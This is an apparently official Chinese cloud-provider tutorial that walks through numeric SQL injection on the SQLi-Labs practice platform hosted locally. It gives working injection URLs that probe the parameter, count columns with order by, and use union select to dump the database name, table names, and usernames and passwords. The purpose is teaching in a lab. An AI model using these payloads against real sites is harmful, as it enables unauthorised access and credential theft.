最近更新时间:2022.07.06 12:48:18
首次发布时间:2022.07.06 12:48:18
SQL注入(SQL injection)是发生于应用程序与数据库层的安全漏洞。即在输入的字符串之中注入SQL指令,在设计不当的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。
数字型SQL注入为,当输入的参数是整型时,如:ID,年龄,页码等。例如URL为:http://www.xxx.com/test.php?id=5 可以猜测SQL语句为:select * from xx where id=5,从而用户输入含恶意代码的内容,然后提交到后台执行。
本实验将帮助您模拟基于整型的SQL注入以及如何进行防护。
进入ECS控制台,点击实例-创建实例,创建一台Windows实例,具体参考此链接。
这里使用的是SQLi-Labs,SQLi-Labs 是一个学习注入的平台,其中涵盖了 GET 和 POST 场景下的相关漏洞,以便研究学习SQL注入的整个注入过程。
源码地址:
https://github.com/Audi-1/sqli-labs
SQLi-Labs需要环境为PHP、Mysql、Apache,为了方便,我们在Windows系统使用phpStudy搭建此环境。
注意:mysql 版本要选择5.5版本以上,因为5.5版本以上才包含information_schema数据库,进行测试。
1、安装SQLi-Labs
从上述地址下载SQLi-Labs源码,然后
将下载的源码解压到phpstudy安装目录下的www目录下,文件夹名可自定义(本测试中定义为sql),修改sql-connections/db-creds.inc中数据库配置。
默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。
配置文件如下:
<?php //give your mysql connection username n password $dbuser ='root'; $dbpass ='xxxxxx';# 修改passwd $dbname ="security"; $host = 'localhost'; $dbname1 = "challenges"; ?>
2、配置SQLi-Labs
打开浏览器访问“http://127.0.0.1/sql”,然后点击“Setup/reset Database” 创建SQLi-Labs所需要的数据库、数据表等,如下:
完成后,点击Page-2可以看到各种注入,如下:
1、打开SQLi-Labs,选择Less-2,查看相关信息,如下:
提示:
Please input the ID as parameter with numeric value
我们将id作为查询字符串进行查询,url为:http://127.0.0.1/sql/Less-2/?id=1
如下:
为了便于查看,将sql进行了显示输出, 如下:
SELECT * FROM users WHERE id=1 LIMIT 0,1
2、判断id参数位置是否存在sql注入点。
构造如下url:(添加and 1=1)
http://127.0.0.1/sql/Less-2/?id=1 and 1=1
结果如下:
可以发现能够正常显示。
再构造如下url:(添加and 1=2)
http://127.0.0.1/sql/Less-2/?id=1 and 1=2
结果如下:
可以发现不能正常进行输出。
以上测试说明and 后面的表达式被执行,说明可以在id后面拼接参数执行,存在注入点。
3、猜解字段数目。
使用order by 进行猜解,如果order by+数字可以执行,说明此表中存在此列(数字表示第几列,如2表示按第二列进行排序,如正常表示表中存在第二列),直到临界值出现。
如下:
http://127.0.0.1/sql/Less-2/?id=1 order by 3
http://127.0.0.1/sql/Less-2/?id=1 order by 4
从上面可以看出order by 3显示正常,order by 4显示异常,我们可以猜测此表有三列。
4、猜解数据库名称、版本等。
主要使用union select进行拼接然后回显查询的内容。
先猜解回显字段。
构造url如下:
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,2,3
结果如下:
可以看到能够回显的字段为2、3。
猜解数据库名称跟版本信息:
构造url如下:
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,database(),version()
结果如下:
可以看到数据库名称为security,版本为5.7.26。
5、猜解数据库中表名称。
构造url如下:
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
结果如下:
可以看到猜解出的表名如下:emails,referers,uagents,users。
6、猜解users表中内容。
由于要猜解的是users表,猜测字段应由username跟password字段,(如没有可再从information_schema.columns中采集列)。
构造url如下:
http://127.0.0.1/sql/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users
结果如下:
可以看到猜解出了username跟password。
如果您有其他问题,欢迎您联系火山引擎技术支持服务。